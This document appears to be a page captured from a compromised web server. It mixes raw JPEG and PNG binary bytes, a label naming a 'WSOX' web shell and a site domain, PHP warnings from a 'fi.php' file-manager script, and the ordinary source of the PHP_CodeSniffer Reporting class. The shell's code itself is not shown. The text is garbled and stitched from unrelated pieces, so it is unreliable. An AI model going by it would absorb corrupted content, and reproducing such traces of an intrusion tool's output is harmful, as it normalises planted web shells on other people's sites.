1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
* @author Greg Sherwood * @copyright 2009 SQLI * @copyright 2006-2011 Squiz Pty Ltd (ABN 77 084 670 600) * @license http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence * @link http://pear.php.net/package/PHP_CodeSniffer */ if (is_file(dirname(__FILE__).'/../CodeSniffer.php') === true) { include_once dirname(__FILE__).'/../CodeSniffer.php'; } else { include_once 'PHP/CodeSniffer.php'; } /** * A class to manage reporting. * * @category PHP * @package PHP_CodeSniffer * @author Gabriele Santini * @author Greg Sherwood * @copyright 2009 SQLI * @copyright 2006-2011 Squiz Pty Ltd (ABN 77 084 670 600) * @license http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence * @version Release: 1.3.3 * @link http://pear.php.net/package/PHP_CodeSniffer */ class PHP_CodeSniffer_Reporting { /** * Produce the appropriate report object based on $type parameter. * * @param string $type Demanded report type. * * @return PHP_CodeSniffer_Report * @throws PHP_CodeSniffer_Exception If report is not available. */ public function factory($type) { $type = ucfirst($type); $filename = $type.'.php'; $reportClassName = 'PHP_CodeSniffer_Reports_'.$type; if (class_exists($reportClassName, true) === false) { throw new PHP_CodeSniffer_Exception('Report type "'.$type.'" not found.'); } $reportClass = new $reportClassName(); if (false === ($reportClass instanceof PHP_CodeSniffer_Report)) { throw new PHP_CodeSniffer_Exception('Class "'.$reportClassName.'" must implement the "PHP_CodeSniffer_Report" interface.'); } return $reportClass; }//end factory() /** * Actually generates the report. * * @param string $report Report type. * @param array $filesViolations Collected violations. * @param boolean $showSources Show sources? * @param string $reportFile Report file to generate. * @param integer $reportWidth Report max width. * * @return integer */ public function printReport( $report, $filesViolations, $showSources, $reportFile='', $reportWidth=80 ) { if ($reportFile !== null) { $reportDir = dirname($reportFile); if ($reportDir === '.') { // Passed report file is a filename in the current directory. $reportFile = PHPCS_CWD.'/'.basename($reportFile); } else { $reportDir = realpath(PHPCS_CWD.'/'.$reportDir); if ($reportDir !== false) { // Report file path is relative. $reportFile = $reportDir.'/'.basename($reportFile); } } } $reportClass = self::factory($report); $reportData = $this->prepare($filesViolations); $toScreen = true; if ($reportFile !== null) { $toScreen = false; ob_start(); } $numErrors = $reportClass->generate($reportData, $showSources, $reportWidth, $toScreen); if ($reportFile !== null) { $generatedReport = ob_get_contents(); if (PHP_CODESNIFFER_VERBOSITY > 0) { ob_end_flush(); } else { ob_end_clean(); } $generatedReport = trim($generatedReport); file_put_contents($reportFile, $generatedReport.PHP_EOL); } return $numErrors; }//end printReport() /** * Pre-process and package violations for all files. * * Used by error reports to get a packaged list of all errors in each file. * * @param array $filesViolations List of found violations. * * @return array */ public function prepare(array $filesViolations) { $report = array( 'totals' => array( 'warnings' => 0, 'errors' => 0, ), 'files' => array(), ); foreach ($filesViolations as $filename => $fileViolations) { $warnings = $fileViolations['warnings']; $errors = $fileViolations['errors']; $numWarnings = $fileViolations['numWarnings']; $numErrors = $fileViolations['numErrors']; $report['files'][$filename] = array( 'errors' => 0, 'warnings' => 0, 'messages' => array(), ); if ($numErrors === 0 && $numWarnings === 0) { // Prefect score! continue; } $report['files'][$filename]['errors'] = $numErrors; $report['files'][$filename]['warnings'] = $numWarnings; $report['totals']['errors'] += $numErrors; $report['totals']['warnings'] += $numWarnings; // Merge errors and warnings. foreach ($errors as $line => $lineErrors) { foreach ($lineErrors as $column => $colErrors) { $newErrors = array(); foreach ($colErrors as $data) { $newErrors[] = array( 'message' => $data['message'], 'source' => $data['source'], 'severity' => $data['severity'], 'type' => 'ERROR', ); }//end foreach $errors[$line][$column] = $newErrors; }//end foreach ksort($errors[$line]); }//end foreach foreach ($warnings as $line => $lineWarnings) { foreach ($lineWarnings as $column => $colWarnings) { $newWarnings = array(); foreach ($colWarnings as $data) { $newWarnings[] = array( 'message' => $data['message'], 'source' => $data['source'], 'severity' => $data['severity'], 'type' => 'WARNING', ); }//end foreach if (isset($errors[$line]) === false) { $errors[$line] = array(); } if (isset($errors[$line][$column]) === true) { $errors[$line][$column] = array_merge( $newWarnings, $errors[$line][$column] ); } else { $errors[$line][$column] = $newWarnings; } }//end foreach ksort($errors[$line]); }//end foreach ksort($errors); $report['files'][$filename]['messages'] = $errors; }//end foreach ksort($report['files']); return $report; }//end prepare() }//end class ?>